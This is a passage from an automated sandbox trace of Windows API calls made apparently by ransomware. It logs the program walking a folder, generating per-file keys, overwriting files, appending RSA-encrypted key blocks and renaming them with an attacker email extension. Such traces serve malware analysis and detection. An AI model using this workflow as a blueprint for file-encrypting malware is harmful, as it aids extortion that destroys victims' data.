hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0141.235] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xfffcabcd, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b5870 [0141.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0141.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0141.235] GetLastError () returned 0x0 [0141.235] SetLastError (dwErrCode=0x0) [0141.235] GetLastError () returned 0x0 [0141.235] SetLastError (dwErrCode=0x0) [0141.235] GetLastError () returned 0x0 [0141.235] SetLastError (dwErrCode=0x0) [0141.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef90 [0141.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bef20 [0141.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0141.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b52b0 [0141.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b52b0 | out: hHeap=0x570000) returned 1 [0141.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40540 [0141.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40540 | out: hHeap=0x570000) returned 1 [0141.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef90 | out: hHeap=0x570000) returned 1 [0141.236] FindNextFileW (in: hFindFile=0x5b5870, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xfffcabcd, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0141.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0141.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0141.236] GetLastError () returned 0x0 [0141.236] SetLastError (dwErrCode=0x0) [0141.236] GetLastError () returned 0x0 [0141.236] SetLastError (dwErrCode=0x0) [0141.236] GetLastError () returned 0x0 [0141.236] SetLastError (dwErrCode=0x0) [0141.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec48 [0141.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0141.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0141.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b55b0 [0141.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b55b0 | out: hHeap=0x570000) returned 1 [0141.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40480 [0141.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40480 | out: hHeap=0x570000) returned 1 [0141.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec48 | out: hHeap=0x570000) returned 1 [0141.236] FindNextFileW (in: hFindFile=0x5b5870, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0141.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0141.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0141.236] GetLastError () returned 0x0 [0141.236] SetLastError (dwErrCode=0x0) [0141.236] GetLastError () returned 0x0 [0141.236] SetLastError (dwErrCode=0x0) [0141.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0141.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0141.236] GetLastError () returned 0x0 [0141.236] SetLastError (dwErrCode=0x0) [0141.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0141.236] FindNextFileW (in: hFindFile=0x5b5870, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0141.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0141.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0141.237] GetLastError () returned 0x0 [0141.237] SetLastError (dwErrCode=0x0) [0141.237] GetLastError () returned 0x0 [0141.237] SetLastError (dwErrCode=0x0) [0141.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0141.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0141.237] GetLastError () returned 0x0 [0141.237] SetLastError (dwErrCode=0x0) [0141.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea18 [0141.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea18 | out: hHeap=0x570000) returned 1 [0141.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0141.237] FindNextFileW (in: hFindFile=0x5b5870, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfffcabcd, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xfffcabcd, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xfffcabcd, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0141.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0141.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0141.237] GetLastError () returned 0x0 [0141.237] SetLastError (dwErrCode=0x0) [0141.237] GetLastError () returned 0x0 [0141.237] SetLastError (dwErrCode=0x0) [0141.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0141.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0141.237] GetLastError () returned 0x0 [0141.237] SetLastError (dwErrCode=0x0) [0141.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.237] FindNextFileW (in: hFindFile=0x5b5870, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0141.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0141.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0141.237] GetLastError () returned 0x0 [0141.237] SetLastError (dwErrCode=0x0) [0141.237] GetLastError () returned 0x0 [0141.237] SetLastError (dwErrCode=0x0) [0141.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0141.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0141.237] GetLastError () returned 0x0 [0141.237] SetLastError (dwErrCode=0x0) [0141.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec48 [0141.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec48 | out: hHeap=0x570000) returned 1 [0141.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0141.237] FindNextFileW (in: hFindFile=0x5b5870, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0141.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0141.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.238] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0141.238] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1053\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0141.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0141.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0141.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0141.238] CreateFileW (lpFileName="\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d0 [0141.238] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17752) returned 1 [0141.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4558) returned 0x60d870 [0141.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4558) returned 0x611dd0 [0141.238] ReadFile (in: hFile=0x4d0, lpBuffer=0x60d870, nNumberOfBytesToRead=0x4558, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0x4558, lpOverlapped=0x0) returned 1 [0141.288] SetFilePointer (in: hFile=0x4d0, lDistanceToMove=-17752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.288] WriteFile (in: hFile=0x4d0, lpBuffer=0x611dd0*, nNumberOfBytesToWrite=0x4558, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x611dd0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4558, lpOverlapped=0x0) returned 1 [0141.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0141.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x611dd0 | out: hHeap=0x570000) returned 1 [0141.288] SetFilePointer (in: hFile=0x4d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4558 [0141.288] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.288] WriteFile (in: hFile=0x4d0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.288] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0141.288] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0141.289] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0141.289] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0141.289] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="IaGGhPUFTzlfKvvy4w42EdPJgOe5E2oFtuOJ1cqylumPUnIPFlAqiYFH5adHQk56\ngWzFOqBjSnc1pMSQGwbQPziQ14TK9GU5GsmC2BnWFjzOl+iWTh/GxGmmrSS0jJ/7\nHxZOmrmXkZ3NMqVv9aSpwGIVipP6uAImxnRzuFbgBq8Pa1l1jXlrusYs9lFZY4vT\nCbuKxhuhXTLACQWIvzJZ5xXF3QloRzNMVCnGzHT+TZcMjKlWJ+tNg6tC5Yw5DlwG\n0ZjB5WXT6TY69z0UBF7+sz8VdqiFPU68ES30C0L6Gg2JYU5LpxlwWfpm61uhaK3D\neNZMYUp93odn++FaQnmynQ==\n", pcchString=0x2e3f9a8) returned 1 [0141.289] WriteFile (in: hFile=0x4d0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0141.289] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.289] WriteFile (in: hFile=0x4d0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.289] CloseHandle (hObject=0x4d0) returned 1 [0141.289] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0141.289] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1053\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0141.291] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0141.291] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.291] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0141.291] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0141.291] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0141.291] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.291] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0141.291] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1053\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0141.291] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0141.291] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0141.291] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0141.291] CreateFileW (lpFileName="\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d0 [0141.291] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=77680) returned 1 [0141.291] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12f70) returned 0x60d870 [0141.292] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12f70) returned 0x2f40048 [0141.293] ReadFile (in: hFile=0x4d0, lpBuffer=0x60d870, nNumberOfBytesToRead=0x12f70, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0x12f70, lpOverlapped=0x0) returned 1 [0141.348] SetFilePointer (in: hFile=0x4d0, lDistanceToMove=-77680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.348] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f40048*, nNumberOfBytesToWrite=0x12f70, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f40048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x12f70, lpOverlapped=0x0) returned 1 [0141.348] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0141.349] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f40048 | out: hHeap=0x570000) returned 1 [0141.352] SetFilePointer (in: hFile=0x4d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x12f70 [0141.352] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.352] WriteFile (in: hFile=0x4d0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.352] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0141.352] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0141.353] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0141.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0141.353] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="G7CHajyJplP+XrDFlCQHKGfh+hNCy8hL+DiK+5FrGbTOGIc0pxVPY7ahrZkdG1z8\nJXqD9dE9ltiKurWDUx+sOs+EnSZb6rym1H16MYu59HYPzTb/CbH5D5BKsPJ5oPpG\nKf6zmaNfNBVYK6B8OhZzFZpbWQD64RPMEeGa+fNH3X2Pd/guD85D69sRDj+B6PHy\nUUzXL5RbRmQxEp4duuMZspwHfEy7lI7QGjSbdZIETDkt9STCYreXtvzOCs59ykqH\nvg8gulGaTlHNUUZF8HK5CaAVdn0FwO1mZjK8xzfBRudSbsfi1vS33nvyjzh8FlAC\nt0jdsx6aN54v8WGaijeXnw==\n", pcchString=0x2e3f9a8) returned 1 [0141.353] WriteFile (in: hFile=0x4d0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0141.353] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.353] WriteFile (in: hFile=0x4d0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.353] CloseHandle (hObject=0x4d0) returned 1 [0141.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0141.353] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1053\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0141.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0141.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0141.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0141.380] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0141.380] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.380] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0141.380] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1053\\eula.rtf", dwFileAttributes=0x80) returned 1 [0141.380] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0141.380] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0141.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0141.380] CreateFileW (lpFileName="\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d0 [0141.381] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3865) returned 1 [0141.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf19) returned 0x60d870 [0141.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf19) returned 0x60e798 [0141.381] ReadFile (in: hFile=0x4d0, lpBuffer=0x60d870, nNumberOfBytesToRead=0xf19, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0xf19, lpOverlapped=0x0) returned 1 [0141.407] SetFilePointer (in: hFile=0x4d0, lDistanceToMove=-3865, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.407] WriteFile (in: hFile=0x4d0, lpBuffer=0x60e798*, nNumberOfBytesToWrite=0xf19, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60e798*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf19, lpOverlapped=0x0) returned 1 [0141.407] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0141.407] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e798 | out: hHeap=0x570000) returned 1 [0141.407] SetFilePointer (in: hFile=0x4d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf19 [0141.407] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.407] WriteFile (in: hFile=0x4d0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.407] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0141.407] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0141.407] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: 